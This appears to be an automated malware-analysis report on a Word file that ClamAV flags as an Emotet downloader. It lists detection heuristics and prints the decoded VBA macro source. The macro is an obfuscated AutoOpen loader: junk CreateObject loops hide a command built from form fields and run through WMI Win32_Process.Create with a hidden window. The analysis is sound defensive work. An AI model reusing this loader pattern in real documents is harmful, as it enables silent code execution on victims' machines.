MALICIOUS
350
Risk Score
Heuristics 10
-
ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.Matched line in script
CreateObject ("O4_407") -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
CreateObject ("O4_407") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
CreateObject ("O4_407") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set f76384 = L319461(GetObject(CVar("winmgmts:" + "Win32_Process"))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9245 bytes |
SHA-256: b5ba0c84486d718de2867792a98e326ada0ca74cf7d20bc733e325032540831d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "v401466"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "l_05133, 0, 0, MSForms, TextBox"
Attribute VB_Control = "z4339_15, 1, 1, MSForms, TextBox"
Attribute VB_Control = "F8375214, 2, 2, MSForms, TextBox"
Attribute VB_Control = "J27806, 3, 3, MSForms, TextBox"
Attribute VB_Control = "o01_4_3, 4, 4, MSForms, TextBox"
Attribute VB_Control = "D09392, 5, 5, MSForms, TextBox"
Attribute VB_Name = "q3_6353"
Attribute VB_Name = "T70790"
Attribute VB_Name = "i60777"
Attribute VB_Name = "I073564_"
Function L319461(Y8_630)
While c616274 And l360_5_
CreateObject ("O4_407")
CreateObject ("u69944")
CreateObject ("68151901")
CreateObject ("565725348")
CreateObject ("z_70_091")
Wend
While B4663962 And q7948598
CreateObject ("q28558_")
CreateObject ("T53139")
CreateObject ("652255230")
CreateObject ("906837517")
CreateObject ("O_60440")
Wend
Set L319461 = CVar(Y8_630)
While J528925 And w63052
CreateObject ("m82733")
CreateObject ("o86_60")
CreateObject ("103521459")
CreateObject ("48834388")
CreateObject ("i330570")
Wend
While n03195 And I300948
CreateObject ("t6639732")
CreateObject ("L00177")
CreateObject ("716292943")
CreateObject ("863093937")
CreateObject ("O231552")
Wend
While w52997 And Z12846
CreateObject ("o59192_")
CreateObject ("o53320_3")
CreateObject ("302259157")
CreateObject ("526365172")
CreateObject ("w4387414")
Wend
End Function
Sub _
_
_
autoopen()
On Error Resume Next
While R61677 And J3302583
CreateObject ("a92888")
CreateObject ("c523091")
CreateObject ("188195044")
CreateObject ("434073327")
CreateObject ("t66655")
Wend
While A677204 And p35_993
CreateObject ("q44734")
CreateObject ("X21366")
CreateObject ("1791137")
CreateObject ("916319390")
CreateObject ("r216784")
Wend
t_559653
While j70244 And W282438
CreateObject ("A450060")
CreateObject ("P9320545")
CreateObject ("434551534")
CreateObject ("153798762")
CreateObject ("H1611_")
Wend
While v481_4 And B241972
CreateObject ("t9242_28")
CreateObject ("z85886")
CreateObject ("360130359")
CreateObject ("267640258")
CreateObject ("m_05_903")
Wend
While h9156_85 And h35244_
CreateObject ("z82630")
CreateObject ("I__0_0")
CreateObject ("246010508")
CreateObject ("261622307")
CreateObject ("u_419863")
Wend
End Sub
Attribute VB_Name = "Q6094626"
Function t_559653()
On Error Resume Next
While R68_06 And E23593
CreateObject ("b925804")
CreateObject ("Q418981")
CreateObject ("266291697")
CreateObject ("267784320")
CreateObject ("s49470")
Wend
While P770397 And a789914
CreateObject ("u42437")
CreateObject ("I58724")
CreateObject ("59747307")
CreateObject ("9726561")
CreateObject ("h0585155")
Wend
i419778 = v401466.D09392 + v401466.z4339_15 + v401466.D09392 + v401466.F8375214 + v401466.D09392 + v401466.D09392 + v401466.J27806 + v401466.D09392 + v401466.D09392 + v401466.o01_4_3 + v401466.D09392 + v401466.l_05133 + v401466.D09392
While X42742 And Y228018
CreateObject ("r17711_")
CreateObject ("h42974")
CreateObject ("720738059")
CreateObject ("96299748")
CreateObject ("Y2592337")
Wend
While z141773 And E70661
CreateObject ("F9718281")
CreateObject ("R_6555")
CreateObject ("230619816")
CreateObject ("654013592")
CreateObject ("Z759726")
Wend
Set f76384 = L319461(GetObject(CVar("winmgmts:" + "Win32_Process")))
While A59733 And d7_258
CreateObject ("a73935")
CreateObject ("v3_202")
CreateObject ("950033520")
CreateObject ("588590527")
CreateObject ("P_851_7")
Wend
While a7352243 And j172_9
CreateObject ("Q7949_01")
CreateObject ("K0712344")
CreateObject ("829622094")
CreateObject ("496050195")
CreateObject ("u_8420_5")
Wend
While h210438 And P3807693
CreateObject ("b666883")
CreateObject ("B_949112")
CreateObject ("394860941")
CreateObject ("429194509")
CreateObject ("M981605")
Wend
f76384.Create T41385 + i419778 + Q027378, S65856, u55476, q616321
While s_661831 And Q283348
CreateObject ("v312959")
CreateObject ("v933241")
CreateObject ("535049374")
CreateObject ("409828645")
CreateObject ("W07929")
Wend
While p84328 And v69_7_8
CreateObject ("G797_5")
CreateObject ("w1390_0")
CreateObject ("260536883")
CreateObject ("176219473")
CreateObject ("o016076")
Wend
End Function
Attribute VB_Name = "j9159177"
Public Function u55476()
While a755_819 And Q_87_8
CreateObject ("G22361")
CreateObject ("T523628_")
CreateObject ("770281223")
CreateObject ("27951810")
CreateObject ("K4226477")
Wend
While I43064 And i_014_42
CreateObject ("K075152_")
CreateObject ("b561283")
CreateObject ("932524926")
CreateObject ("329226864")
CreateObject ("j240_15")
Wend
While D497698 And L16_4_5
CreateObject ("v1484844")
CreateObject ("L208242")
CreateObject ("323264166")
CreateObject ("508304644")
CreateObject ("n2073813")
Wend
Set u55476 = L319461(GetObject(CVar("winmgmts:" + "Win32_ProcessStartup")))
While T395_1 And v64_53
CreateObject ("V4632_0")
CreateObject ("N987242")
CreateObject ("815219916")
CreateObject ("920210941")
CreateObject ("P4553947")
Wend
While s7781_ And f02789
CreateObject ("p9076623")
CreateObject ("N12_194")
CreateObject ("917754686")
CreateObject ("26717498")
CreateObject ("v1426563")
Wend
W2_0194 = vbError - vbError
While F20081_8 And k45859
CreateObject ("W11710")
CreateObject ("H_965_29")
CreateObject ("627510432")
CreateObject ("195756062")
CreateObject ("k43756")
Wend
While A8678_5 And v575664
CreateObject ("r89377")
CreateObject ("M02968_")
CreateObject ("483518842")
CreateObject ("813239708")
CreateObject ("V8_8026")
Wend
While t__2_4 And F1485_4
CreateObject ("n7_149")
CreateObject ("j9_97364")
CreateObject ("599515751")
CreateObject ("996348524")
CreateObject ("b5886808")
Wend
With u55476
While w49732_4 And n917713
CreateObject ("L42_8914")
CreateObject ("F5374699")
CreateObject ("429366698")
CreateObject ("923862697")
CreateObject ("j4109_36")
Wend
While t5298539 And l17132
CreateObject ("M028019_")
CreateObject ("X8_5719_")
CreateObject ("125647270")
CreateObject ("865313923")
CreateObject ("b143_5")
Wend
. _
ShowWindow = W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194
While F__27171 And i9264134
CreateObject ("h_52832")
CreateObject ("P2_56665")
CreateObject ("975928223")
CreateObject ("158493645")
CreateObject ("i8689326")
Wend
While f7064019 And q3959647
CreateObject ("T375065")
CreateObject ("p796_2")
CreateObject ("416789672")
CreateObject ("796106634")
CreateObject ("l860489")
Wend
End With
While o52954 And F1_2457_
CreateObject ("Q98611")
CreateObject ("q_76297")
CreateObject ("521723208")
CreateObject ("636336163")
CreateObject ("M83683_9")
Wend
While t95750 And w98339_
CreateObject ("T7142_45")
CreateObject ("B2_93425")
CreateObject ("144062220")
CreateObject ("94569790")
CreateObject ("z643343")
Wend
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.